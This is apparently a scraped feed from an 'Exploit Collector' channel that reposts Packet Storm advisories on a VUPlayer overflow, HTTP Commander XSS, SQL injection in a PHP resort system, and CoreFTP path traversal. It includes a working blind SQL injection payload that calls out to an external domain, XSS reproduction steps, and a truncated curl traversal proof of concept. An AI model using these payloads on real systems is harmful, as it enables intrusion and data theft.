Hacking Articles Tips Tricks Videos Tutorials

Online Railway Reservation System 1.0 Missing Access Control

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

7 viewsedited 18:20

Exploit Collector
VUPlayer 2.49 Buffer Overflow

https://4.bp.blogspot.com/-gp6vAY2GXMM/WWlvG3cWkQI/AAAAAAAAILY/aMDesAGFEocqJU-7SaIaO870_Bbf2ZUHACLcBGAs/s1600/h139.png
VUPlayer version 2.49 .wax local buffer overflow exploit with DEP bypass.

MD5 | 53e64485c577d217ccced27894c8003a

Download
# Exploit Title: VUPlayer 2.49 - '.wax' Local Buffer Overflow (DEP Bypass)
# Date: 26/06/2021
# Exploit Author: Bryan Leong
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

VUPlayer 2.49 Buffer Overflow

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

8 viewsedited 18:20

Exploit Collector
Linux unix GC Memory Corruption

https://3.bp.blogspot.com/-UEPmQpzFyCs/WWlvQSuTgiI/AAAAAAAAINA/LFaHvgtClFA67K--PZO5ZJSS69Dsl8UBACLcBGAs/s1600/h31.png
Linux suffers from a garbage collection memory corruption vulnerability by resurrecting a file reference through RCU.

MD5 | 78b6ea0bece0d083ab283dbd9b1ddddc

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Linux unix GC Memory Corruption

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

8 viewsedited 18:20

6 views18:20

6 views18:21

Exploit Collector
HTTP Commander 3.1.9 Cross Site Scripting

https://3.bp.blogspot.com/-D2NV3HnXxpM/WWlu9YoBNhI/AAAAAAAAIJs/rLrqFdeLLWYSGUQPyN0O7DuhnXu7T_FjQCLcBGAs/s1600/h114.png
HTTP Commander version 3.1.9 suffers from a persistent cross site scripting vulnerability.

MD5 | 6bb7f0bab3b4b05843b6af6b797dc597

Download

# Exploit Title: HTTP Commander 3.1.9 - Stored Cross Site Scripting (XSS)
# Date: 07/01/2022
# Exploit Author: Oscar Sandén
# Vendor Homepage: https://www.element-it.com
# Software Link: https://www.element-it.com/downloads.aspx
# Version: 3.1.9
# Tested on: Windows Server 2016

[Description]
There is a stored XSS in the 'Zip content' feature of the HTTP commander application. The vulnerable field is the filename of the files inside the zip. This vulnerability exists in 3.x of the HTTP commander application.

[Steps to reproduce]
1)  Create a file with a xxs payload in its name. Examples:
x .txt
x .txt
Or some other JS you like.
2)  Zip the files
3)  Upload the ZIP-file
4)  In HTTP commander, right click the file and select ZIP-content.
5)  If the files are in a subfolder, expand it until the filenames are shown.

[Exploit]
touch payload/x .txt
Zip -r test.zip /payload

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

HTTP Commander 3.1.9 Cross Site Scripting

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

8 viewsedited 18:21

7 views18:21

7 views18:21

Exploit Collector
Online Examination System Project 1.0 SQL Injection

___________________________
@hacking_Attack
@Hacking_Video

Online Examination System Project 1.0 SQL Injection

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

8 viewsedited 18:21

Exploit Collector
Online Resort Management System 1.0 SQL Injection

https://2.bp.blogspot.com/-byy861XuXi0/WWlvWQTmcNI/AAAAAAAAIOI/mFealIoTV44qfFUu4oCqUAhEFYGzd1o3ACLcBGAs/s1600/h49.png
Online Resort Management System version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | b05c7d2cadea20813192a722bdd2ef27

Download
## Title: Online Resort Management System 1.0 SQL - Injections
## Author: nu11secur1ty
## Date: 01.09.2022
## Vendor: https://www.sourcecodester.com/users/tips23
## Software: https://www.sourcecodester.com/php/15126/online-resort-management-system-using-phpoop-free-source-code.html

## Description:
The id parameter appears to be vulnerable to SQL injection attacks.
The payload '+(select
load_file('\\\\g5m5022yoztcb375vu5zomhbn2tvhl5c80znqbf.chushkopeks.net\\qru'))+'
was submitted in the id parameter.
This payload injects a SQL sub-query that calls MySQL's load_file
function with a UNC file path that references a URL on an external
domain.
The application interacted with that domain, indicating that the
injected SQL query was executed.
The attacker can take account control of all accounts plus an
administrator account on this system.
Status: CRITICAL

[+] Payload:

```mysql
---
Parameter: id (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: page=view_room&id=5'+(select
load_file('\\\\g5m5022yoztcb375vu5zomhbn2tvhl5c80znqbf.chushkopek.net\\qru'))+''
AND (SELECT 7995 FROM (SELECT(SLEEP(3)))MQXi) AND 'RNQM'='RNQM
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/blob/main/vendors/oretnom23/2022/Online-Resort-Management-System-1.0)

## Proof and Exploit:
[href](https://streamable.com/524sxp)
--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html and https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Online Resort Management System 1.0 SQL Injection

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

10 viewsedited 18:21

Exploit Collector
CoreFTP Server Build 725 Directory Traversal

https://4.bp.blogspot.com/-5kb4UTwsKkE/WWlvjussFoI/AAAAAAAAIQs/uqojaqb90NcMo4ROOoH-c5uvdKeDdbGswCLcBGAs/s1600/h94.png
CoreFTP server build version 725 suffers from a directory traversal vulnerability.

MD5 | 23709190a7e9ca64fcf97880d8565221

Download
# Exploit Title: CoreFTP Server build 725 - Directory Traversal (Authenticated)
# Date: 08/01/2022
# Exploit Author: LiamInfosec
# Vendor Homepage: http://coreftp.com/
# Version: build 725 and below
# Tested on: Windows 10
# CVE : CVE-2022-22836

# Description:

CoreFTP Server before 727 allows directory traversal (for file creation) by an authenticated attacker via ../ in an HTTP PUT request.

# Proof of Concept:

curl -k -X PUT -H "Host:
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

CoreFTP Server Build 725 Directory Traversal

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

10 viewsedited 18:21

9 views18:21